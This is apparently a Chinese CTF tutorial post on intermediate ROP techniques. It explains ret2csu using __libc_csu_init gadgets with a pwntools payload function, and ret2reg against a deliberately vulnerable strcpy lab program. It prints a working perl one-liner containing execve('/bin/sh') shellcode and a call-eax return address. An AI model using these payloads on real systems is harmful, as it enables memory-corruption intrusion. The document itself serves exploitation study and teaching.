intermediateROP
ret2csu
原理
我们知道64位程序中函数的前六个参数时通过寄存器传递的,一次保存在rdi,rsi,rdx,rcx,r8和r9中,如果有更多参数才会保存在栈上
但当我们需要多个参数时,很难找到每一个寄存器对应的gadget,这时候我们可以利用x64下的__libc_csu_init中的gadget。这个函数时用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。
函数具体如下(不同版本可能略有区别)
这里通常利用两段gadget
gadget11
2
3
4
5
6
7.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
gadget21
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18.text:00000000004011C8 loc_4011C8: ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8 mov rdx, r15
.text:00000000004011CB mov rsi, r14
.text:00000000004011CE mov edi, r13d
.text:00000000004011D1 call qword ptr [r12+rbx*8]
.text:00000000004011D5 add rbx, 1
.text:00000000004011D9 cmp rbp, rbx
.text:00000000004011DC jnz short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE: ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE add rsp, 8
.text:00000000004011E2 pop rbx
.text:00000000004011E3 pop rbp
.text:00000000004011E4 pop r12
.text:00000000004011E6 pop r13
.text:00000000004011E8 pop r14
.text:00000000004011EA pop r15
.text:00000000004011EC retn
通常我们先利用gadget1对相应寄存器赋值,然后控制程序返回到gadget2执行
- gadget2的开头分别进行赋值操作,rdx=r15,rsi=r14,edi=r13d,虽然这里赋给的时edi,但其实此时rdi的高32位寄存器值为0,所以可以控制rdi寄存器的值,只是只能控制低32位的值
- 注意到0x04011D5到0x04011DC这里的操作:先让rbx的值自加一,然后比较rbp与rbx的值,若不相等则执行loc_4011C8。在这里我们希望它跳过这条指令继续执行下面的程序,所以在gadget1中设置rbx的值为0,rbp的值为1
- 注意0x04011D1这里的指令,
call qword ptr [r12+rbx*8],即以r12+rbx\*8的值为指针调用其指向的函数([]为取出寄存器的值),又由于我们已经将rbx的值设置为1,所以这里就是调用r12的值指向的函数。所以如果要利用这里进行函数调用则需要在gadget1中将r12设置为相应函数的got表地址() - 跳转到gadget2后,执行到0x04011DE时,后续的指令为:降低栈顶8字节,然后连续pop掉6个栈顶元素。由于执行到这里时我们已经达成了利用这段gadget的目的,所以只需要填充7*8=56字节垃圾数据在这里即可
- 上述布置需要输入offset+9*8+7*8=offset+128字节,若可读入字节有限需要考虑改进或其他方法
我们可以得到这样的关系1
2
3rdx=r15
rsi=r14
rdi=edi=r13
当我们需要执行read或write这种需要三个参数的函数时,便可以相应地布置其参数
通用函数
当一次攻击需要多次使用这段gadget时可以写一个函数来构造payload1
2
3
4
5
6
7
8
9
10
11
12
13
14def csu(func_got,rdi,rsi,rdx,ret_addr)
payload = 'a'*offset #padding
payload += p64(gadget1) #返回地址
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(func_got)#r12
payload += p64(rdi) #r13
payload += p64(rsi) #r14
payload += p64(rdx) #r15
payload += p64(gadget2) #retn
payload += 'a'*56 #padding
payload += p64(ret_addr)
r.sendline(payload)
利用csu(write_got,1,write_got,8,main_addr)即可实现输出write函数的真实地址并返回到程序开始
例题
jarvisoj_level3_x64
思路略
exp
1 | from pwn import* |
ret2reg
原理
ret2reg,即return to register,攻击绕过地址混淆ASLR返回到寄存器地址
用于开启ASLR的ret2shellcode题型。函数执行后,传入的参数在栈中传给寄存器,但函数结束时并没有将寄存器复位,从而导致该寄存器还保存着参数。当该参数为shellcode时,如果能在程序中找到jmp/call reg.代码片段时,便能跳转至该寄存器执行shellcode
利用方法
- 查看栈溢出返回时哪个寄存器指向缓冲区空间
- 查找相应的
jmp/call reg指令,使EIP为该指令地址 - 将寄存器所指向的空间上注入shellcode(该空间需要是可执行的,通常是栈上)
防御方法
在函数ret之前,将所有赋值过的寄存器复位清0
此类漏洞常见于strcpy字符串拷贝函数中
例题
1 |
|
开启地址随机化
echo 2 > /proc/sys/kernel/randomize_va_space
编译
gcc -Wall -g -o vul vul.c -z execstack -m32 -fno-stack-protector
分析程序



- 看到程序将argv[1]对应的字符串拷贝进buffer中,而argv[1]就是程序接收的命令行参数
./vul 123123 - 123123就是我们输入的第一个命令行参数,$argv[0]是脚本文件名,argv[1]为输入的第一个参数
查看evilfunvtion函数的汇编指令
看到lea eax, [ebp+buffer],即将[ebp+buffer]的偏移地址存进eax,也就相当于eax指向了buffer缓冲区
此时便可以向buffer写入shellcode,并找到jmp/call eax指令地址覆盖EIP,从而拿到shell
查看一下在evilfunction函数运行到return前时,eax是否还指向缓冲区地址
(从上一张图可以看到return指令的地址为0x0804842B)
1 | gdb --args vul 123123 |

看到eax的值仍为缓冲区地址
查找jmp/call eax
于是可以构造payloadpayload = shellcode + (0x208 + 4 - len(shellcode))*'a' + p32(0x08048373)
exp
使用perl命令即可打通1
./vul $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."s\x83\x04\x08"')

补充
- perl -e 是perl在命令行中执行的命令,printf是将后面紧跟的字符串写入标准输出流
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80是事先生成的shellcode,25个字节,要填充的A个数为0x208+4-25=499s\x83\x04\x08是p32(0x08048373),即call eax指令地址32位打包"A"x499是产生499个A









